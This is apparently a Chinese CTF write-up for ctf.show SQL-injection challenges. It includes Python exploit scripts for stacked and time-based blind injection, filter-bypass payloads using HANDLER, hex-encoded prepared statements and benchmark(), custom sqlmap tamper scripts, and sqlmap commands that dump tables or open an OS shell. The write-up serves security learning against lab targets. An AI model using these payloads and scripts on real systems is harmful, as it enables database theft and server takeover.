有过滤的数字型注入,没有过滤分号可堆叠注入。
正则禁用username的括号,password 改用 text 类型,id 改用 int 类型

本质上还是和上一题一样,不过是需要修改一下类型(嘛,毕竟没禁掉;和alter)

payload

1
0;alter table ctfshow_user change column `pass` `koishi` text;alter table ctfshow_user change column `id` `pass` int;alter table ctfshow_user change column `koishi` `id` text;

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests

url = "http://35154a42-0d8a-4494-82e3-47db74fdd560.challenge.ctf.show/api/"


def alter_tableColumn():
print("ten sa yi Cirno : watashi wa shiyou shi hajime ta *(੭*ˊᵕˋ)੭* \n")
change_payload = '0;alter table ctfshow_user change column `pass` `koishi` text;alter table ctfshow_user change column `id` `pass` int;alter table ctfshow_user change column `koishi` `id` text;'
# 将密码字段(pass)修改为任意的字符串,如何将id字段名修改为pass,这样sql语句查询时,就查找的是原来的id序列了,账号可以使用0绕过(也可以是admin)(十进制或者十六进制都行),密码用数字爆破即可
data = {
"username": change_payload,
"password": '0'
}
requests.post(url, data=data)


success_flag = "\\u767b\\u9646\\u6210\\u529f"


def foreach_num():
max_num = 300
print("now, Cirno is working to solve the password:")
for i in range(max_num):
data = {
"username": "0",
"password": f'{i}'
}
print(f"\r now password is {i}", end="")
response = requests.post(url, data=data)
if success_flag in response.text:
print(f"Yo katta !! CirnoChan get the response :\n {response.text}")
return

if i == max_num - 1:
print("\nSorry, maybe the max_num is a little smaller")


if __name__ == "__main__":
alter_tableColumn()
foreach_num()

225(堆叠注入plus,多限制,禁update、alter)–学习handler和预处理

1
2
3
4
5
6
7
//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}

select 和union 被禁了,我们就思考使用堆叠注入(;分号没禁),但是update和alter被禁了,我们之前的使用就不行了,我们就要想想其他的办法了

解法1–handler

学习handler的语法和使用

(37条消息) mysql查询语句-handler_jesseyoung的博客-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 声明句柄
HANDLER tbl_name OPEN [ [AS] alias]

# 句柄操作
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

# 关闭句柄
HANDLER tbl_name CLOSE

1)先使用万能密码看看都有什么数据(不看也行=。=,下面的username写1也可以)

1
/api/?username=1' or 1='1

image-20220825112735610

2)因为没禁show,配合堆叠注入看看有哪些表名

1
/api/?username=ctfshow';show tables;

image-20220825113203126

看到可疑表名ctfshow_flagasa,尝试查看

3)因为无select,使用handler

1
/api/?username=ctfshow';handler ctfshow_flagasa open as t;handler t read first;handler t close’

image-20220825113630972

完事

解法2–预处理

学习预处理知识

MySQL的SQL预处理(Prepared) - GeaoZhang - 博客园 (cnblogs.com)

1
2
3
4
5
6
# 定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
# 删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;

自己写了个脚本,当然手动注入也行=。=

(因为ban了很多关键字,这种可以使用char 或者 concat 绕过)

下面脚本是char 写法(写了脚本,比较方便,不用像concat那样手动分开)

concat大致是:

1
username=user1';PREPARE koishi from concat('s','elect', ' database()');EXECUTE koishi; 

database前面或者select后面记得加空格=。=

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = "http://c1bfa393-c96f-41c7-b316-f0dfacba54d4.challenge.ctf.show/api/"
def payload_maker(sql:str)->str:
return f"ctfshow';prepare koishi from char({','.join(str(ord(c)) for c in sql)});execute koishi;"

if __name__ == '__main__':
params = {
"username":payload_maker("show tables")
# show tables
# select * from ctfshow_flagasa
}
response=requests.get(url=url,params=params)
print(response.text)

1) show tables

image-20220825121029602

2)select * from ctfshow_flagasa

image-20220825121135839

这道题又学废新姿势了 :)

226、228-230(堆叠注入plus,再增限制)

先看题限制

226

1
2
3
4
5
6
7
//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
die(json_encode($ret));
}

228-230

有过滤的堆叠注入,这次把禁用的字符放进了表里,测试发现 226 的 payload 还能用,依旧能用,我们就着重分析226即可。

1
2
3
4
5
6
7
8
9
10
11
12

//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

//师傅说内容太多,就写入数据库保存
if(count($banlist)>0){
foreach ($banlist as $char) {
if(preg_match("/".$char."/i", $username)){
die(json_encode($ret));
}
}
}

看226,他比我们225多禁了 show 和( , 既然如此,我们的concat 和 char 也不能用了(因为在使用时需要括号嘛)

既然如此,我们可以继续使用预处理即可(为啥不用handler?因为我们拿到表名才行,handler不能,show和小括号被ban了)

预处理关键字使用16进制绕过就行,注意在16进制前面加上0x,不然系统不知道咋解析

16进制转换在线

当然自己写脚本转换16进制也行,手注可以用上面那个网站转换一下

解法 – 预处理

exp

还是自己写了一个简单脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = "http://447de7ae-8c54-4cd2-a268-4b591f577cd7.challenge.ctf.show/api/"
def payload_maker(sql : str)->str:
return f"Cirno';prepare koishi from 0x{sql.encode().hex()};execute koishi;--+"

if __name__ == '__main__':
params = {
"username":payload_maker("select * from ctfsh_ow_flagas")
# show tables
# select * from ctfsh_ow_flagas
}
response=requests.get(url=url,params=params)
print(response.text)

image-20220825210418038

over

227(堆叠-MySQL存储过程和函数)

看看题

1
2
3
4
5
6
7
//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
die(json_encode($ret));
}

看限制好像没啥区别,变化不痛不痒,之前的预处理还是可以用,但是居然不在数据库中,上传shell(可以用sqlmap,或者那个预处理脚本16进制绕过限制,用file into上传shell),依旧找不到flag。题目也没有任何提示,淦!看其他师傅的题解,原来是我又有知识盲点了

学习知识点

(37条消息) MySQL——查看存储过程和函数_时光·漫步zth的博客-CSDN博客_mysql 查看存储函数

查看存储过程和函数的信息

在 MySQL 中,存储过程和函数的信息存储在 information_schema 数据库下的 Routines 表中,可以通过查询该表的记录来查询存储过程和函数的信息,其基本的语法形式如下:

1
SELECT   *   FROM   information_schema.Routines WHERE   ROUTINE_NAME  =  '   sp_name  ' ;

其中,ROUTINE_NAME 字段中存储的是存储过程和函数的名称; sp_name 参数表示存储过程或函数的名称。

payload

1
select * from information_schema.routines;

因为还是有过滤,所以我们还是接着使用226的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import textwrap

url = "http://baf02cec-8845-40f5-94e8-e6680a19a03e.challenge.ctf.show/api/"
def payload_maker(sql : str)->str:
return f"Cirno';prepare koishi from 0x{sql.encode().hex()};execute koishi;--+"

if __name__ == '__main__':
params = {
"username":payload_maker("call getFlag()")
# select * from information_schema.routines
# call getFlag();
}
response=requests.get(url=url,params=params)
# 导入textwrap模块将字符串换行输出,不然看起来太难受了,网页手注好像是有自动换行的,这波我属于是自己给自己找麻烦了 QAQ
print(textwrap.fill(response.text, 150))

image-20220825213515610

这里可以看见 getFlag这个自定义的函数,而且他居然连flag都给了,淦

如果其他时候没有写的这么明显,可以使用call函数来调用函数,上面脚本也有写(但是使用的预处理16进制的方式,由于没过滤call,我们可以简简单单的朴素的进行一手堆叠注入就行)

1
/api/?username=koishi';call getFlag();

image-20220825214137210

sqlmap使用系统学习

201-206(没啥自己动手的地方)

(agent、referer)

题目提示

使用–user-agent 指定agent

使用–referer 绕过referer检查

例如:

1
python sqlmap.py -u http://e6892756-6d65-47f6-baf8-5617a68a1b0f.challenge.ctf.show/api/?id=1 --user-agent sqlmap --referer ctf.show
1
2
3
4
5
6
7
8
9
10
11
# 检测注入类型(实际使用中感觉这步可以省略,下面那条语句在如果没有执行这个语句的条件下,也会执行这个,先执行这个后面的执行倒是会快一点的)
python sqlmap.py -u http://e6892756-6d65-47f6-baf8-5617a68a1b0f.challenge.ctf.show/api/?id=1 --user-agent sqlmap --referer ctf.show

# 出库名
python sqlmap.py -u http://e6892756-6d65-47f6-baf8-5617a68a1b0f.challenge.ctf.show/api/?id=1 --user-agent sqlmap --referer ctf.show -dbs

# 出表名
python sqlmap.py -u http://e6892756-6d65-47f6-baf8-5617a68a1b0f.challenge.ctf.show/api/?id=1 --user-agent sqlmap --referer ctf.show -D "ctfshow_web" --tables

# 出数据
python sqlmap.py -u http://e6892756-6d65-47f6-baf8-5617a68a1b0f.challenge.ctf.show/api/?id=1 --user-agent sqlmap --referer ctf.show -D "ctfshow_web" -T "ctfshow_user" --dump

post 方式提交数据

使用post方式进行注入,可以直接用--data="id=1",也可以--method=post来触发

(有些时候url带上双引号不会出问题,有些时候又会出问题,奇奇怪怪,要是提示host not find 就把双引号删吧删吧)

1
2
3
4
5
6
7
8
9
第一步用--data调整参数
python sqlmap.py -u http://69c5a44d-b5e5-47b2-a8dd-a87006ae618d.challenge.ctf.show/api/ --referer="ctf.show" --data="id=1"
第二步
python sqlmap.py -u http://69c5a44d-b5e5-47b2-a8dd-a87006ae618d.challenge.ctf.show/api/ --referer="ctf.show" --data="id=1" --dbs
第三步
python sqlmap.py -u http://69c5a44d-b5e5-47b2-a8dd-a87006ae618d.challenge.ctf.show/api/ --referer="ctf.show" --data="id=1" -D "ctfshow_web" --tables
第四步 (--dump是列字段值,也可以单独带上列名,重新写一句,使用列名参数前的字符是: -C )
python sqlmap.py -u http://69c5a44d-b5e5-47b2-a8dd-a87006ae618d.challenge.ctf.show/api/ --referer="ctf.show" --data="id=1" -D "ctfshow_web" -T "ctfshow_user" --columns --dump

put 请求方式

–method 指定 put 请求方式,url 要带 index.php(这个应该是这个题的限制),还要加上 –headers=”Content-Type: text/plain” 便于 put 接收表单参数,一定要加上–headers=“Content-Type: text/plain” ,否则是按表单提交的,put接收不到

1
2
3
4
5
6
7
8
python sqlmap.py -u http://6837fe82-c4cc-40ec-9804-27f49ab108e4.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" --dbs

python sqlmap.py -u http://6837fe82-c4cc-40ec-9804-27f49ab108e4.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" -D ctfshow_web --tables

python sqlmap.py -u http://6837fe82-c4cc-40ec-9804-27f49ab108e4.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns

(这里就是上一题说到的单独写一句。但是明明可以一下写完,何必呢)
python sqlmap.py -u http://6837fe82-c4cc-40ec-9804-27f49ab108e4.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump

使用–cookie 带上 PHPSESSID(F12),其余不变。


image-20220820170331410


1
2
3
4
5
# 检测注入类型(实际执行过可以正常执行)
python sqlmap.py -u http://80489c9e-aacb-4f78-b399-c43b9dfb4f3d.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=72enlin9c8r1o7ffnq16sd3a52; ctfshow=a5ee758751b072ac4b2ec52827ba7c50" --referer="ctf.show"

剩下的自己搭配就行了=。=
还有就是切记不要刷新页面(我在做题的时候怕容器被关了,时不时刷新看看,结果前几次sqlmap都没成功,因为刷新之后会改变cookie,粗心大意给忘了)

_权限

(好像还是put方法,其他方法我没试过(好像有type=text就是put?),主要是sqlmap还是有点点慢)

每次在进行查询之前都会先访问一次 url/api/getToken.php,否则会返回 api 鉴权失败。

先看题提示

image-20220820172654426

通过抓包分析,在每次请求url/api/index.php之前需要先请求URL/api/getTokn.php,可以用burpsuite抓包看看确实是这么回事

img

–safe-url 设置在测试目标地址前访问的安全链接–safe-freq 设置两次注入测试前访问安全链接的次数

(或者查看日志发现 /api/getToken.php 的访问)

所以我们需要两个参数

设置参数 –safe-url 和 –safe-freq 在调用 api 前访问 token 链接。

–safe-url 设置在测试目标地址前访问的安全链接
–safe-freq 设置两次注入测试前访问安全链接的次数

1
2
3
4
python sqlmap.py -u http://43ba86e5-c013-4491-84bc-7de872c19b94.challenge.ctf.show/api/index.php --referer=ctf.show --cookie="PHPSESSID=umd7ocdluu007vvfk4t37e03pe;" --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://43ba86e5-c013-4491-84bc-7de872c19b94.challenge.ctf.show/api/getToken.php --safe-freq=1
#(最好把cookie也带上,我开始用没有cookie的语句,sqlmap提醒我没有给出cookie,他帮我自动获取了=。=)

后面的也不多写了,自己换就ok

_闭合

sqlmap会帮我们自动闭合的,不用管。CTFer勇敢飞,sqlmap永相随 :)

207-213(需要自己写tamper)

tamper绕过空格

题目提示要用 –tamper 加载自己写的 tamper

1
2
3
4
5
6
7
//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ /', $str);
}

看代码是过滤了空格

1.使用自带的tamper

我们看看自带的和空格有关的tamper,发现有很多,这里使用 sapce2comment 绕过。

0

1
python sqlmap.py -u http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=space2comment

常用的tamper有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
apostrophemask.py 用utf8代替引号 
equaltolike.py MSSQL * SQLite中like 代替等号
greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号
space2hash.py 空格替换为#号 随机字符串 以及换行符
space2comment.py 用/**/代替空格
apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号 halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py Microsoft Access在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤
space2mssqlblank.py mssql空格替换为其它空符号 base64encode.py 用base64编码
space2mssqlhash.py mssql查询中替换空格
modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释
space2mysqlblank.py mysql中空格替换其它空白符号
between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)
space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾
chardoubleencode.py 双url编码(不处理以编码的)
unionalltounion.py 替换UNION ALL SELECT UNION SELECT
charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;
randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写
unmagicquotes.py 宽字符绕过 GPC addslashes
randomcomments.py 用/**/分割sql关键字
charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py MySQL >= 5.1.13注释绕过
halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释

2.自己写一个tamper

Sqlmap Tamper 编写 - Y4er的博客

基本tamper格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW # 当前脚本调用优先等级

def dependencies(): # 声明当前脚本适用/不适用的范围,可以为空。
pass

def tamper(payload, **kwargs): # 用于篡改Payload、以及请求头的主要函数
return payload

编写好之后放在tamper文件夹里面即可(假设我们写的脚本名为my.py),使用时用参数 --tamper=my

tamper绕过等号

题目过滤

1
2
3
4
5
6
7
8
//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

//对传入的参数进行了过滤
function waf($str){
//TODO 未完工
return preg_match('/ |\*|\=/', $str);
}

自己写的tamper(写的比较简单=。= )

1
2
3
4
5
6
7
8
9
10
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
pass

# 这里like前后都有空格,不然换过去就挨在一起了
def tamper(payload, **kwargs):
return payload.replace("=", " like ").replace(" ", chr(0x09))

payload(每个payload都是自己跑过的,能行)

1
2
3
4
5
6
python sqlmap.py -u http://279072f9-ae8f-4679-878d-c27582903424.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=2ogfogma59tankn0mes95of14u;" --referer=ctf.show --safe-url="http://279072f9-ae8f-4679-878d-c27582903424.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="koishi_=toLike"

后续还是不多bb
--dbs
-D
-D -T --columns --dump

tamper加密解密

(学习过程中发现自己的python语法的愈加熟练了 大概=。=)

1.看题目

1
2
3
4
5
6
7
//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}

2.思考

这里对id的处理:base64解码 -> 逆序 -> base64解码 -> 逆序

所以我们传入的id要让他被还原为正确的id

做法

  • payload逆序

    1
    payload[::-1]
  • 编码

    1
    base64.b64encode(payload[::-1].encode())
  • 逆序

    1
    2
    3
    4
    5
    base64.b64encode(payload[::-1].encode()).decode()[::-1].encode()

    # 这里我看其他师傅是将这里编码再解码,实际我尝试的时候发现字节数组也可以用[::-1],所以这个转换根本没必要

    base64.b64encode(payload[::-1].encode())[::-1]
  • 编码

    1
    base64.b64encode(base64.b64encode(payload[::-1].encode()).decode()[::-1].encode())
  • 因为php那里接受的是str类型,所以后面又加一个.decode()

1
2
3
# php base64_decode语法

base64_decode(string $data, bool $strict = false)
1
2
3
4
5
# 根据php修改的py代码

base64.b64encode(base64.b64encode(payload[::-1].encode()).decode()[::-1].encode()).decode()

base64.b64encode(base64.b64encode(payload[::-1].encode())[::-1]).decode()

3.编写tamper

1
2
3
4
5
6
7
8
9
10
11
import base64

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
return base64.b64encode(base64.b64encode(payload[::-1].encode()).decode()[::-1].encode()).decode()
  • 部分语法说明

    • 1. a[::-1]是数组给反序,因为题目上的php函数strrev为反序,但是python莫得这种函数,就是用[::-1]的形式逆序

    • 2. str.encode 和 base64.b64encode 是两个不同的东西

      • str.encode是实现字符串的编码,默认为utf-8,返回的是字节类型的数据

        1
        2
        3
        4
        5
        payload = "abc123"
        result2=payload.encode()
        print(result2)

        # 运行结果:b'abc123'
      • base64.b64encode 他会将参数进行base64编码,注意需要的是bytes类型的对象,而不是str。这也就是为什么我们将str使用了encode

4.payload

(这里我把url的双引号去掉了,又反而不行了,加上才行,奇奇怪怪)

1
2
python sqlmap.py -u "http://13543e7f-244a-4b6e-9c86-578a363b0156.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=3c40sipvi2amochjb0mpj9d9dq;" --referer=ctf.show  --safe-url="http://13543e7f-244a-4b6e-9c86-578a363b0156.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="Koishi_base64"

后面紧接着的题本质上差不多,tamper我也一起放这了

编码加上绕过空格

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python

import base64

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
return base64.b64encode(base64.b64encode(payload.replace(" ", chr(0x09))[::-1].encode()).decode()[::-1].encode()).decode()

使用–os-shell 一键getshell

和上一题完全一样,但 flag 不在表里,而是在文件里面

payload

1
2
3
4
5
6
7
python sqlmap.py -u http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=2aei120afjs82guplv4o6frefj;" --referer=ctf.show  --safe-url="http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="Koishi_base64AndSpace"

python sqlmap.py -u http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=2aei120afjs82guplv4o6frefj;" --referer=ctf.show --safe-url="http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="Koishi_base64AndSpace" --dbs

python sqlmap.py -u http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=2aei120afjs82guplv4o6frefj;" --referer=ctf.show --safe-url="http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="Koishi_base64AndSpace" -D "ctfshow_web" --tables

python sqlmap.py -u http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=2aei120afjs82guplv4o6frefj;" --referer=ctf.show --safe-url="http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="Koishi_base64AndSpace" -D "ctfshow_web" -T "ctfshow_user" --columns --dump

执行之后发现不在数据库中

image-20220821202454491

使用–os-shell来获取shell

1
python sqlmap.py -u http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=2aei120afjs82guplv4o6frefj;" --referer=ctf.show  --safe-url="http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="Koishi_base64AndSpace" --os-shell

成功之后就可以执行命令了,我们看看根目录的文件,发现有疑似flag的文件,于是我们接着cat看看,于是拿到flag

image-20220821203531154

时间盲注

214(整数型)

image-20220821210207735

在首页的select.js中发现向/api/ post了两个参数,一个是ip,一个是debug

经过手动测试,参数ip可以进行sql注入,如下会有延迟(注意修改一下url为 url/api/index.php ):

1
ip=1 or if(substr((select version()),0,1)!=1,sleep(5),0) &&debug=1

image-20220821210837336

经此发现ip这个盲注点,无任何过滤,和布尔盲注都差不多,简简单单写个脚本 ( 在向url传data的时候需要多加个参数 ) ok

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests

url = "http://81b0a990-674c-43d1-824d-691e83fed9ad.challenge.ctf.show/api/"

# 爆库名 informbtion_schema,test,mysql,performance_schema,czfshow_web
# payload = "if(ascii(mid((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(5),1)"
# 表名 ctfshow_flagx,ctfshow_info
# payload = "if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(5),1)"
# 列名 id,flaga,info,id,ip,cname
# payload = "if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},sleep(5),1)"
# flag
payload = "if(ascii(mid((select group_concat(flaga) from ctfshow_flagx),{},1))>{},sleep(5),1)"


def valid_char(index: int, ascii: int) -> bool:
data = {
"ip": payload.format(index, ascii),
"debug": 0
}
# requests.post 的 timeout参数作用是:设置延迟时间,若在设置的时间后访问未成功则报错
try:
_ = requests.post(url, data=data, timeout=2)
except:
return True
return False


result = ""
i = 1

print("天才琪露诺小姐正在努力查询中。◕‿◕。\n")
while True:
start = 32
end = 127
while not (abs(start - end) == 1 or start == end):
p = (start + end) // 2
if valid_char(i, p):
start = p
else:
end = p
if end < start:
end = start
result += chr(end)
print(f"\r[+] flag: {result}", end="")
i += 1
if chr(end) == "}":
break;

print("\n⑨:果然咱是天下第一聪明 (◍•ᴗ•◍)❤ ")

215(字符型)

题目说是说的查询语句用了单引号,于是在上一题的payload的前加上1’ or 和最后加个# 就行了

image-20220822170714632

看环境给的回显,发现确实sql查询是有单引号的,注入尝试也成功,说明没有任何过滤

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests

url = "http://18429070-826b-47e0-87b2-cde39e9c927f.challenge.ctf.show/api/"

# 表名 ctfshow_flagxc,cthshow_info
# payload = "koishi' or if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(10),1) #"
# 列名 id,flagaa,info,id,ip,cname
# payload = "koishi' or if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},sleep(10),1) #"
# flag
payload = "koishi' or if(ascii(mid((select flagaa from ctfshow_flagxc),{},1))>{},sleep(4),1) #"

def valid_char(index: int, ascii: int) -> bool:
data = {
"ip": payload.format(index, ascii),
"debug": 0
}
# requests.post 的 timeout参数作用是:设置延迟时间,若在设置的时间后访问未成功则报错
try:
_ = requests.post(url, data=data, timeout=2)
except:
return True
return False


result = ""
i = 1

print("天才琪露诺小姐正在努力查询中。◕‿◕。\n")
while True:
start = 32
end = 127
while not (abs(start - end) == 1 or start == end):
p = (start + end) // 2
if valid_char(i, p):
start = p
else:
end = p
if end < start:
end = start
result += chr(end)
print(f"\r[+] flag: {result}", end="")
i += 1
if chr(end) == "}":
break;

print("\n⑨:果然咱是天下第一聪明 (◍•ᴗ•◍)❤ ")

时间盲注有一定的网络环境要求,要是发现注入结果有问题,就适当修改延时时间和timeout的大小,条件良好的情况下,时间短跑得快

216(对查询对象使用了带括号的函数)

题目给的查询方式

1
2
# 查询语句
where id = from_base64($id);

尝试注入语句

1
ip='MQ==') or if(substr((select version()),0,1)!=1,sleep(5),0) #&&debug=1

( MQ== 是1的base64)

对于这种带括号的需要注意:

1.闭合括号

2.参数要用引号(我开始就没注意到,就一直不成功,淦!)

image-20220822172818156

修改一下之前的exp就能行了

这里不写了

217(sleep已经GG)

查看过滤

1
2
3
4
//屏蔽危险分子
function waf($str){
return preg_match('/sleep/i',$str);
}

之前一直都没管 php 的 preg_match 函数,这里对它的几个常见参数记录一下

1
2
3
/u 表示按unicode(utf-8)匹配(主要针对多字节比如汉字)
/i 表示不区分大小写(如果表达式里面有 a, 那么 A 也是匹配对象)
/s 表示将字符串视为单行来匹配

返回逻辑部分禁用了 sleep,还可以用 benchmark 和笛卡尔积。

image-20210821190843466

使用benchmark 函数去尝试注入时间(每个payload都最好单独测一下,这里只写flag那个)

1
ip=(if(ascii(mid((select group_concat(flagaabc) from ctfshow_flagxccb),1,1))>1,benchmark(40000000,'koishi'='Cirno'),1))&debug=0

(因为个人癖好,这里的benchmark 里面使用的有字符串,如果引号被过滤的话,使用1=1这种整数比较或者换成其他的可执行的语句都行)

image-20220822202801278

执行一次大概需要2秒,我们就可以根据这个来时间盲注了

exp

本脚本是参考其他师傅写的,那位师傅的脚本费事太长了,于是我对其进行了修改

原本的 timeout为3, sleep为10 (因为他的benchmark 太费时了,10s左右),benchmark 为 benchmark(8000000,md5(0x31))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import time
import requests

url = "http://77278e61-fbea-4a6d-87ce-b0067f5cbbc0.challenge.ctf.show/api/"
# 表名 ctfshow_flagxccb,ctfshow_info
# payload = "if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},benchmark(8000000,md5(0x31)),1)"
# 列名 id,flagaabc,info,id,ip,cname
# payload = "if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},benchmark(8000000,md5(0x31)),1)"
# flag
payload = "if(ascii(mid((select group_concat(flagaabc) from ctfshow_flagxccb),{},1))>{},benchmark(40000000,'koishi'='Cirno'),1)"


def valid_char(index: int, ascii: int) -> bool:
data = {
"ip": payload.format(index, ascii),
"debug": 0
}
try:
_ = requests.post(url, data=data, timeout=1.5)
